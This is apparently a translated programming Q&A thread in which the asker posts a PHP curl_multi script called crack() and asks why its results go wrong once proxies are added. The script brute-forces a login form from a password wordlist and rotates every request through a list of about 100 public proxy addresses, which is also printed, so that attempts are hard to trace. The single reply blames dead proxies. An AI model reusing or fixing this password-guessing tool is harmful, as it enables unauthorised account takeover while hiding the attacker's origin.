麻烦PHP cURL代理和发布

时间:2013-01-24 10:54:28

标签: php curl curl-multi

我正在编写一个脚本,可以检查帐户是否仍然有效且有效。我正在使用这个功能:

function crack()
{
    $url = 'http://127.0.0.1/trying.php';
    $agent= 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0';
    $flag = 0;
    $fileh_proxy = fopen('proxylist.txt','r');
    $fileh_word = fopen('wordlist.txt','r');
    $i=0;
    while($pass = fgets($fileh_word))
    {
    $arrpass[$i] = $pass;
  if(strstr($pass,"\n"))
  {
    $pass = substr($pass, 0, strlen($pass)-2);
  }
    if(!($proxy = fgets($fileh_proxy)))
    {
        rewind($fileh_proxy);
    }
  if(strstr($proxy,"\n"))
  {
    $proxy = substr($proxy, 0, strlen($proxy)-2);
  }
    $post = "username=user&password=".$pass;
  $ch[$i] = curl_init($url);
  curl_setopt($ch[$i], CURLOPT_SSL_VERIFYPEER, false);
  curl_setopt($ch[$i], CURLOPT_FOLLOWLOCATION, true);
  curl_setopt($ch[$i], CURLOPT_PROXY, $proxy);//this is the part thats troubling me
  curl_setopt($ch[$i], CURLOPT_VERBOSE, true);
  curl_setopt($ch[$i], CURLOPT_REFERER, $url);
  curl_setopt($ch[$i], CURLOPT_POST, true);
  curl_setopt($ch[$i], CURLOPT_POSTFIELDS, $post);
  curl_setopt($ch[$i], CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch[$i], CURLOPT_USERAGENT, $agent);
  curl_setopt($ch[$i], CURLOPT_HEADER, 1);
    $i++;
    }
    $numberof = $i;
    $mh = curl_multi_init();
    for($i=0 ; $i < $numberof ; $i++)
    {
  curl_multi_add_handle($mh,$ch[$i]);
    }
    $running = NULL;
    do
    {
  curl_multi_exec($mh,$running);
    }while($running);
    for($i = 0 ; $i < $numberof ; $i++)
    {
  if(!strstr(curl_multi_getcontent($ch[$i]),'invalid') && 
           !strstr(curl_multi_getcontent($ch[$i]),'error') &&
           !strstr(curl_multi_getcontent($ch[$i]),'wrong')) 
  {  
    $flag = 1;
    echo '<br /><span style="color: red;">'.$arrpass[$i].'</span> MIGHT BE A VALID PASSWORD.<br />';
  }
  curl_multi_remove_handle($mh,$ch[$i]);
  curl_close($ch[$i]);   
    }
    curl_multi_close($mh);
    if($flag == 0)
    {
  echo 'Password could <span style="color: #F00;">NOT</span> be cracked';
    }
    fclose($fileh_proxy);
    fclose($fileh_word);
}

这是trying.php:

<?php  
if(isset($_POST['username'],$_POST['password']))
{
    $us= $_POST['username'];
    $pass= $_POST['password'];
}
if($us=='user' && $pass=='mnop')
{
    echo 'hello';
}
else
{
    echo 'error, invalid, wrong';
}
?>

问题是,当我对破解函数执行此操作时,它的工作正常:

//curl_setopt($ch[$i], CURLOPT_PROXY, $proxy);

这个^^^的结果是:

  

mnop可能是一个有效的密码

但是,只要我从该部分删除//并取消注释:

  

curl_setopt($ ch [$ i],CURLOPT_PROXY,$ proxy);

一切都出错了,这就是结果:

abcd MIGHT BE A VALID PASSWORD 
efgh MIGHT BE A VALID PASSWORD
ijkl MIGHT BE A VALID PASSWORD
mnop MIGHT BE A VALID PASSWORD
qrst MIGHT BE A VALID PASSWORD
uvwx MIGHT BE A VALID PASSWORD
yzab MIGHT BE A VALID PASSWORD

这是wordlist.txt:

abcd
efgh
ijkl
mnop
qrst
uvwx
yzab

这是proxylist.txt:

190.2.233.13:3128
200.54.92.187:3128
201.219.3.119:3128
175.136.192.5:8080
200.182.190.156:8080
175.136.246.105:8080
200.253.116.5:3128
31.47.250.238:3128
202.43.113.21:8888
81.213.157.71:80
168.226.35.19:8080
94.23.87.243:3128
217.196.164.61:3128
190.96.64.234:8080
200.114.103.33:8080
200.208.251.210:8080
119.235.16.41:8080
84.41.108.74:8080
80.90.12.36:8080
200.5.113.202:8080
200.182.190.157:8080
85.234.22.126:3128
200.208.251.213:8080
196.1.178.254:3128
116.90.208.47:8080
49.212.129.130:3128
190.82.89.154:3128
60.2.227.123:3128
119.82.239.50:8080
200.166.194.136:3128
114.32.95.96:8080
200.208.251.218:8080
200.42.56.146:8080
78.134.255.42:8080
187.0.222.167:3128
61.185.143.178:8080
200.182.190.149:8080
84.20.82.82:8080
183.63.145.116:3128
201.20.189.201:8080
200.27.114.233:8080
200.54.92.187:80
180.243.92.86:8080
203.114.112.101:3128
213.140.115.173:8080
218.92.252.25:8080
220.248.237.234:8080
213.131.41.98:8080
202.149.78.234:8080
200.166.194.135:3128
37.59.236.42:3128
221.6.15.156:82
212.113.47.87:3128
110.139.116.63:8080
201.12.116.18:80
219.130.39.9:3128
95.215.48.146:8080
89.251.103.130:8080
192.162.150.77:8080
186.236.129.11:3128
187.72.224.65:3128
41.32.43.243:8080
59.172.208.190:8080
168.226.35.19:80
119.97.146.148:80
190.41.70.37:8001
82.114.92.33:8080
186.237.23.160:8080
59.172.208.189:8080
121.52.144.245:8080
118.96.127.10:3128
190.121.135.178:8080
59.46.67.108:8080
202.137.21.196:8080
200.114.103.89:8080
61.167.49.188:8080
221.7.145.42:8080
82.200.165.46:3128
175.106.15.12:8181
119.6.72.133:3128
201.12.116.18:8080
222.89.154.10:9000
200.208.251.212:8080
202.159.95.220:8080
190.66.22.53:8080
201.144.252.115:3128
186.219.25.227:3128
80.250.35.180:8080
202.28.143.25:8080
72.64.146.136:43
123.108.14.39:8080
118.97.37.123:80
190.111.17.161:8080
119.252.160.34:8080
89.45.128.1:8080
110.138.245.95:3128
200.182.190.152:8080
119.187.148.34:8000
124.129.30.74:8080
119.252.168.34:8080

请有人帮帮我吗???我已经为此努力了,制作整个代码花了很长时间。

1 个答案:

答案 0 :(得分:0)

兄弟我是curl工作的新人,最后2-3个月卷曲你的代码似乎是对的我在这里测试你的代理http://www.checker.freeproxy.ru/checker/大多数代理不工作可能是你的代码有死代理问题